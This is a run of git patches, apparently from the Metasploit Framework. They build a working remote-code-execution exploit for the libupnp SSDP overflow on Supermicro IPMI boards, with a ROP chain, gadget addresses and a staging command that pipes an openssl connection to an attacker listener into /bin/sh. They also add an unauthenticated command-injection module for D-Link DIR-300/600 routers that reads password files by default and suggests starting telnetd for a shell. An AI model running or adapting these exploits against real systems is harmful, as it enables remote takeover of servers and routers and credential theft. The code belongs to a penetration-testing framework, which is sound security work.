[*(0x10..0x1f)].pack("C*") + + # Also not allowed + "\x7f\x3a" + + # Breaks our string quoting + "\x22", + + # Unlimited since we stage this over a secondary connection + 'Space' => 8000, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + # specific payloads vary widely by device (openssl for IPMI, etc) + } + }, + 'Targets' => + [ + # + # ROP targets are difficult to represent in the hash, use callbacks instead + # + [ "Supermicro Onboard IPMI (X7SPA-HF, X9SCL, X9SCM) Intel SDK 1.3.1", { + :callback => :target_supermicro_ipmi_131 + # SSDP response: + # UPnP/1.0, Intel SDK for UPnP devices/1.3.1 + # http://192.168.x.x:49160/IPMIdevicedesc.xml + # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice + } ] + ], + 'DisclosureDate' => 'Feb 03 2013')) + + register_options( + [ + Opt::RPORT(1900), + OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), + OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) + ], self.class) + end + + def exploit + + unless self.respond_to?(target[:callback]) + print_error("Invalid target specified: no callback function defined") + return + end + + buffer = self.send(target[:callback]) + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:schemas:device:" + buffer + ":" + "end" + "\r\n" + # Rex::Text.rand_text_alpha(3) + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + print_status("Sending #{pkt.length} bytes to #{rhost}:#{rport}...") + connect_udp + udp_sock.put(pkt) + + 1.upto(5) do + ::IO.select(nil, nil, nil, 1) + break if session_created? + end + + handler + disconnect_udp + end + + # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc + def target_supermicro_ipmi_131 + + # Create a fixed-size buffer for the payload + buffer = Rex::Text.rand_text_alpha(2000) + + # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() + buffer[1,1] = '"' + buffer[1900,1] = '"' + + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + + # Start a listener + start_listener(true) + + # Figure out the port we picked + cbport = self.service.getsockname[2] + + # Restart the service and use openssl to stage the real payload + # Staged because only ~150 bytes of contiguous data are available before mangling + cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#" + buffer[432, cmd.length] = cmd + + # Adjust $r3 to point from the bottom of the stack back into our buffer + buffer[304,4] = [0x4009daf8].pack("V") # + # 0x4009daf8: add r3, r3, r4, lsl #2 + # 0x4009dafc: ldr r0, [r3, #512] ; 0x200 + # 0x4009db00: pop {r4, r10, pc} + + # The offset (right-shifted by 2 ) to our command string above + buffer[284,4] = [0xfffffe78].pack("V") # + + # Copy $r3 into $r0 + buffer[316,4] = [0x400db0ac].pack("V") + # 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1 + # 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4) + + # Move our stack pointer down so as not to corrupt our payload + buffer[320,4] = [0x400a5568].pack("V") + # 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198 + # 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc} + + # Finally return to system() with $r0 pointing to our string + buffer[141,4] = [0x400add8c].pack("V") + + return buffer +=begin + 00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev + 00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev + 00032000-00055000 rwxp 00000000 00:00 0 [heap] + 40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so + 40015000-40017000 rwxp 00000000 00:00 0 + 4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so + 4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so + 4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so + 4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so + 40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40036000-40078000 rwxp 00000000 00:00 0 + 40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so + 40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so + 40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so + 40185000-40187000 rwxp 00000000 00:00 0 + bd600000-bd601000 ---p 00000000 00:00 0 + bd601000-bd800000 rwxp 00000000 00:00 0 + bd800000-bd801000 ---p 00000000 00:00 0 + bd801000-bda00000 rwxp 00000000 00:00 0 + bdc00000-bdc01000 ---p 00000000 00:00 0 + bdc01000-bde00000 rwxp 00000000 00:00 0 + be000000-be001000 ---p 00000000 00:00 0 + be001000-be200000 rwxp 00000000 00:00 0 + be941000-be956000 rwxp 00000000 00:00 0 [stack] +=end + + end + + def stage_real_payload(cli) + print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") + cli.put(payload.encoded + "\n") + end + + def start_listener(ssl = false) + + comm = datastore['ListenerComm'] + if comm == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + self.service = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['CBPORT'], + 'SSL' => ssl, + 'SSLCert' => datastore['SSLCert'], + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self, + }) + + self.service.on_client_connect_proc = Proc.new { |client| + stage_real_payload(client) + } + + # Start the listening service + self.service.start + end + + # + # Shut down any running services + # + def cleanup + super + if self.service + print_status("Shutting down payload stager listener...") + begin + self.service.deref if self.service.kind_of?(Rex::Service) + if self.service.kind_of?(Rex::Socket) + self.service.close + self.service.stop + end + self.service = nil + rescue ::Exception + end + end + end + + attr_accessor :service +end From 94953d04506404b7886ce9daf773ad912c8b35fb Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:48:13 -0600 Subject: [PATCH 084/448] Fix idents from copypasta --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 4e471fbc44..a799eb3a3c 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -94,9 +94,9 @@ class Metasploit3 < Msf::Exploit::Remote pkt = "M-SEARCH * HTTP/1.1\r\n" + "Host:239.255.255.250:1900\r\n" + - "ST:uuid:schemas:device:" + buffer + ":" + "end" + "\r\n" + # Rex::Text.rand_text_alpha(3) - "Man:\"ssdp:discover\"\r\n" + - "MX:3\r\n\r\n" + "ST:uuid:schemas:device:" + buffer + ":" + "end" + "\r\n" + # Rex::Text.rand_text_alpha(3) + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n" print_status("Sending #{pkt.length} bytes to #{rhost}:#{rport}...") connect_udp From 214a60aa01e7286a0cca4f61ac6af768f9ac6373 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:52:33 -0600 Subject: [PATCH 085/448] iFix spacing --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index a799eb3a3c..30f9146db2 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote Devices or the Portable SDK for UPnP Devices. Due to size limitations on many devices, this exploit uses a separate TCP - listener to stage the real payload. + listener to stage the real payload. }, 'Author' => [ 'hdm', @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote pkt = "M-SEARCH * HTTP/1.1\r\n" + "Host:239.255.255.250:1900\r\n" + - "ST:uuid:schemas:device:" + buffer + ":" + "end" + "\r\n" + # Rex::Text.rand_text_alpha(3) + "ST:uuid:schemas:device:" + buffer + ":end\r\n" + "Man:\"ssdp:discover\"\r\n" + "MX:3\r\n" From 1f227243b8a2d7ea724b3f72e38ffb14011fbe61 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:54:25 -0600 Subject: [PATCH 086/448] Make it clear BadChars are ignored --- .../multi/upnp/libupnp_ssdp_overflow.rb | 27 ++++++++++--------- 1 file changed, 15 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 30f9146db2..6e6202a3ab 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -38,18 +38,21 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Payload' => { - - 'BadChars' => - # Bytes 0-8 are not allowed - [*(0..8)].pack("C*") + - # 0x09, 0x0a, 0x0d are allowed - "\x0b\x0c\x0e\x0f" + - # All remaining bytes up to space are restricted - [*(0x10..0x1f)].pack("C*") + - # Also not allowed - "\x7f\x3a" + - # Breaks our string quoting - "\x22", +# +# # The following BadChars do not apply since we stage the payload +# # through a secondary connection. This is just for reference. +# +# 'BadChars' => +# # Bytes 0-8 are not allowed +# [*(0..8)].pack("C*") + +# # 0x09, 0x0a, 0x0d are allowed +# "\x0b\x0c\x0e\x0f" + +# # All remaining bytes up to space are restricted +# [*(0x10..0x1f)].pack("C*") + +# # Also not allowed +# "\x7f\x3a" + +# # Breaks our string quoting +# "\x22", # Unlimited since we stage this over a secondary connection 'Space' => 8000, From 9e491f0b1c58129f9464245dfdd089874329ffef Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 18:03:19 -0600 Subject: [PATCH 087/448] Add a fingerprint string and more comments --- .../multi/upnp/libupnp_ssdp_overflow.rb | 21 ++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 6e6202a3ab..e5b2f8fcce 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -68,12 +68,23 @@ class Metasploit3 < Msf::Exploit::Remote # # ROP targets are difficult to represent in the hash, use callbacks instead # - [ "Supermicro Onboard IPMI (X7SPA-HF, X9SCL, X9SCM) Intel SDK 1.3.1", { - :callback => :target_supermicro_ipmi_131 + [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", { + + # The callback handles all target-specific settings + :callback => :target_supermicro_ipmi_131, + + # This matches the Server header of a SSDP reply + :fingerprint_server => + /Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/ + + # # SSDP response: - # UPnP/1.0, Intel SDK for UPnP devices/1.3.1 - # http://192.168.x.x:49160/IPMIdevicedesc.xml - # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice + # Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1 + # http://192.168.xx.xx:49152/IPMIdevicedesc.xml + # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice + + # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03) + } ] ], 'DisclosureDate' => 'Feb 03 2013')) From c24da99104bf89802a6cb1934fc26ae2b07bfea4 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 18:13:28 -0600 Subject: [PATCH 088/448] Update authors, add Richard (thanks!) --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index e5b2f8fcce..7ddbff922f 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -25,8 +25,9 @@ class Metasploit3 < Msf::Exploit::Remote listener to stage the real payload. }, 'Author' => [ - 'hdm', - 'Alex Eubanks ' + 'hdm', # Exploit dev for Supermicro IPMI + 'Alex Eubanks ' # Exploit dev for Supermicro IPMI + 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI ], 'License' => MSF_LICENSE, 'References' => From 42c8a2d2655609563133138d6e8dfc78046d4a28 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 18:17:51 -0600 Subject: [PATCH 089/448] Add VU and blog references --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 7ddbff922f..efc99b7ec0 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -32,7 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2012-5858' ] + [ 'CVE', '2012-5858' ], + [ 'US-CERT-VU', '922681' ], + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, From 7faaa635d380e6e510729ade4eb0a3d0aa0b35b5 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Sun, 3 Feb 2013 18:46:41 -0600 Subject: [PATCH 090/448] Fixed exception handling to use smb::proto --- lib/msf/core/exploit/psexec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index b4292004da..f63a93f8e1 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -180,7 +180,7 @@ module Exploit::Remote::Psexec file_rm(file) print_good("#{peer} - Deleted #{file}") end - rescue ::Exception => cleanup_error + rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanup_error print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") end end From 0660347fca6afab5e3640c95722b06dd0409311e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 21:06:57 -0600 Subject: [PATCH 091/448] Explicit mult-line match --- modules/auxiliary/scanner/upnp/ssdp_msearch.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index fba5a396e7..4899016978 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary "ST:upnp:rootdevice\r\n" + "Man:\"ssdp:discover\"\r\n" + "MX:3\r\n" + - "\r\n\r\n" # Non-standard, but helps + "\r\n" end def scanner_prescan(batch) @@ -144,14 +144,14 @@ class Metasploit3 < Msf::Auxiliary } } - if data =~ /^Server:[\s]*(.*)/i + if data =~ /^Server:[\s]*(.*)/mi @results[skey][:info][:server] = $1.strip end ssdp_host = nil ssdp_port = 80 location_string = '' - if data =~ /^Location:[\s]*(.*)/i + if data =~ /^Location:[\s]*(.*)/mi location_string = $1 @results[skey][:info][:location] = $1.strip if location_string[/(https?):\x2f\x2f([^\x5c\x2f]+)/] @@ -168,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary end end - if data =~ /^USN:[\s]*(.*)/i + if data =~ /^USN:[\s]*(.*)/mi @results[skey][:info][:usn] = $1.strip end From 9379c68e512c78f3d94f1baad86445de5dc690a1 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 21:23:05 -0600 Subject: [PATCH 092/448] Fix typo, auto-fingerprint, unconnected sockets --- .../multi/upnp/libupnp_ssdp_overflow.rb | 109 +++++++++++++++--- 1 file changed, 92 insertions(+), 17 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index efc99b7ec0..85df37ca44 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -10,8 +10,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Remote::Udp - def initialize(info = {}) super(update_info(info, 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution', @@ -26,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'hdm', # Exploit dev for Supermicro IPMI - 'Alex Eubanks ' # Exploit dev for Supermicro IPMI + 'Alex Eubanks ', # Exploit dev for Supermicro IPMI 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI ], 'License' => MSF_LICENSE, @@ -68,6 +66,9 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Targets' => [ + + [ "Automatic", { } ], + # # ROP targets are difficult to represent in the hash, use callbacks instead # @@ -76,9 +77,9 @@ class Metasploit3 < Msf::Exploit::Remote # The callback handles all target-specific settings :callback => :target_supermicro_ipmi_131, - # This matches the Server header of a SSDP reply - :fingerprint_server => - /Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/ + # This matches any line of the SSDP M-SEARCH response + :fingerprint => + /Server:\s*(.*|Linux\/2\.6\.17\.WB_WPCM450\.1\.3) UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi # # SSDP response: @@ -90,44 +91,52 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], - 'DisclosureDate' => 'Feb 03 2013')) + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 29 2013')) register_options( [ + Opt::RHOST(), Opt::RPORT(1900), OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) ], self.class) end + def exploit - unless self.respond_to?(target[:callback]) + configure_socket + + target_info = choose_target + + unless self.respond_to?(target_info[:callback]) print_error("Invalid target specified: no callback function defined") return end - buffer = self.send(target[:callback]) + buffer = self.send(target_info[:callback]) pkt = "M-SEARCH * HTTP/1.1\r\n" + "Host:239.255.255.250:1900\r\n" + "ST:uuid:schemas:device:" + buffer + ":end\r\n" + "Man:\"ssdp:discover\"\r\n" + - "MX:3\r\n" + "MX:3\r\n\r\n" - print_status("Sending #{pkt.length} bytes to #{rhost}:#{rport}...") - connect_udp - udp_sock.put(pkt) + print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") + + r = udp_sock.sendto(pkt, rhost, rport, 0) 1.upto(5) do ::IO.select(nil, nil, nil, 1) break if session_created? end - handler - disconnect_udp + # No handler() support right now end + + # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc def target_supermicro_ipmi_131 @@ -135,8 +144,8 @@ class Metasploit3 < Msf::Exploit::Remote buffer = Rex::Text.rand_text_alpha(2000) # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() - buffer[1,1] = '"' - buffer[1900,1] = '"' + buffer[0,1] = '"' + buffer[1999,1] = '"' # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) @@ -257,5 +266,71 @@ class Metasploit3 < Msf::Exploit::Remote end end + def choose_target + # If the user specified a target, use that one + return self.target unless self.target.name =~ /Automatic/ + + msearch = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + # Fingerprint the service through SSDP + udp_sock.sendto(msearch, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,addr,info = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /^(Server|Location)/mi + udp_sock.sendto(msearch, rhost, rport, 0) + end + + self.targets.each do |t| + return t if t[:fingerprint] and res =~ t[:fingerprint] + end + + if res and res.to_s.length > 0 + print_status("No target matches this fingerprint") + print_status("") + res.to_s.split("\n").each do |line| + print_status(" #{line.strip}") + end + print_status("") + else + print_status("The system #{rhost} did not reply to our M-SEARCH probe") + end + + fail_with(Exploit::Failure::NoTarget, "No compatible target detected") + end + + # Accessor for our TCP payload stager attr_accessor :service + + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # + # Required since we aren't using the normal mixins + # + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + end From 191eed88bc57bc6587fb7527944c0304a0ff57e6 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 21:50:03 -0600 Subject: [PATCH 093/448] Fix liberal matching expression on target --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 85df37ca44..b473cb3691 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote # This matches any line of the SSDP M-SEARCH response :fingerprint => - /Server:\s*(.*|Linux\/2\.6\.17\.WB_WPCM450\.1\.3) UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi + /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi # # SSDP response: From 4c8811bb8a6db6b50499b85a1d9d1f3f9f953297 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 23:24:44 -0600 Subject: [PATCH 094/448] Add a debug target --- .../exploits/multi/upnp/libupnp_ssdp_overflow.rb | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index b473cb3691..da5e539930 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -89,7 +89,15 @@ class Metasploit3 < Msf::Exploit::Remote # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03) + } ], + + [ "Debug Target", { + + # The callback handles all target-specific settings + :callback => :target_debug + } ] + ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 29 2013')) @@ -214,6 +222,11 @@ class Metasploit3 < Msf::Exploit::Remote end + # Generate a buffer that provides a starting point for exploit development + def target_debug + buffer = Rex::Text.pattern_create(2000) + end + def stage_real_payload(cli) print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") cli.put(payload.encoded + "\n") From 5ca0e4538802730c5674f58e329a0a7398f627b4 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Mon, 4 Feb 2013 08:44:12 +0100 Subject: [PATCH 095/448] initial commit --- .../http/dlink_dir_300_600_exec_noauth.rb | 73 +++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb new file mode 100644 index 0000000000..9b24a0fa80 --- /dev/null +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -0,0 +1,73 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link DIR-600 rev B / DIR-300 rev B unauthenticated Remote Command Execution in command.php', + 'Description' => %q{ + Some D-Link Routers are vulnerable to OS Command injection. + You do not need credentials to the webinterface because the command.php + is accesseble without authentication. You could read the plaintext password + file. + Hint: To get a remote shell you could start the telnetd without any authentication. + }, + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.dlink.de/cs/Satellite?c=Product_C&childpagename=DLinkEurope-DE%2FDLTechProduct&cid=1197381489628&p=1197318958220&packedargs=QuickLinksParentID%3D1197318958220%26locale%3D1195806663795&pagename=DLinkEurope-DE%2FDLWrapper' ], + [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 04 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('CMD', [ true, 'The command to execute', 'cat /var/passwd']) + ], self.class) + end + + def run + uri = '/command.php' + + print_status("Sending remote command: " + datastore['CMD']) + + data_cmd = "cmd=#{datastore['CMD']}; echo end" + + begin + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'data' => data_cmd, + }) + return :abort if res.nil? + return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) + return :abort if (res.code == 404) + + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return :abort + end + + if res.body.include? "end" + print_status("Exploited successfully") + print_line("Command: #{datastore['CMD']}") + print_line("Output: #{res.body}") + else + print_status("Exploit failed.") + end + end +end From 24de0d2274129dcc6d9e2e1946e507329cbcd25a Mon Sep 17 00:00:00 2001 From: SphaZ Date: Mon, 4 Feb 2013 13:37:09 +0100 Subject: [PATCH 096/448] Data files moved. Updated to use Rex::zip and Msf::Exploit::FILEFORMAT --- data/exploits/docx/[Content_Types].xml | 2 + data/exploits/docx/_rels/.rels | 2 + data/exploits/docx/docProps/app.xml | 2 + .../docx/word/_rels/document.xml.rels | 2 + data/exploits/docx/word/document.xml | 2 + data/exploits/docx/word/fontTable.xml | 2 + data/exploits/docx/word/settings.xml | 2 + data/exploits/docx/word/styles.xml | 2 + data/exploits/docx/word/theme/theme1.xml | 2 + data/exploits/docx/word/webSettings.xml | 2 + modules/auxiliary/docx/word_unc_injector.rb | 289 ++++++++---------- 11 files changed, 151 insertions(+), 158 deletions(-) create mode 100644 data/exploits/docx/[Content_Types].xml create mode 100644 data/exploits/docx/_rels/.rels create mode 100644 data/exploits/docx/docProps/app.xml create mode 100644 data/exploits/docx/word/_rels/document.xml.rels create mode 100644 data/exploits/docx/word/document.xml create mode 100644 data/exploits/docx/word/fontTable.xml create mode 100644 data/exploits/docx/word/settings.xml create mode 100644 data/exploits/docx/word/styles.xml create mode 100644 data/exploits/docx/word/theme/theme1.xml create mode 100644 data/exploits/docx/word/webSettings.xml diff --git a/data/exploits/docx/[Content_Types].xml b/data/exploits/docx/[Content_Types].xml new file mode 100644 index 0000000000..39a9cb897f --- /dev/null +++ b/data/exploits/docx/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/_rels/.rels b/data/exploits/docx/_rels/.rels new file mode 100644 index 0000000000..fdd8c4f371 --- /dev/null +++ b/data/exploits/docx/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/docProps/app.xml b/data/exploits/docx/docProps/app.xml new file mode 100644 index 0000000000..1580fc2d1a --- /dev/null +++ b/data/exploits/docx/docProps/app.xml @@ -0,0 +1,2 @@ + +0103Microsoft Office Outlook000falsefalse0falsefalse12.0000 diff --git a/data/exploits/docx/word/_rels/document.xml.rels b/data/exploits/docx/word/_rels/document.xml.rels new file mode 100644 index 0000000000..0079d06931 --- /dev/null +++ b/data/exploits/docx/word/_rels/document.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/document.xml b/data/exploits/docx/word/document.xml new file mode 100644 index 0000000000..81ef41e2f8 --- /dev/null +++ b/data/exploits/docx/word/document.xml @@ -0,0 +1,2 @@ + + diff --git a/data/exploits/docx/word/fontTable.xml b/data/exploits/docx/word/fontTable.xml new file mode 100644 index 0000000000..20e9a398fe --- /dev/null +++ b/data/exploits/docx/word/fontTable.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/docx/word/settings.xml b/data/exploits/docx/word/settings.xml new file mode 100644 index 0000000000..4692c237a8 --- /dev/null +++ b/data/exploits/docx/word/settings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file 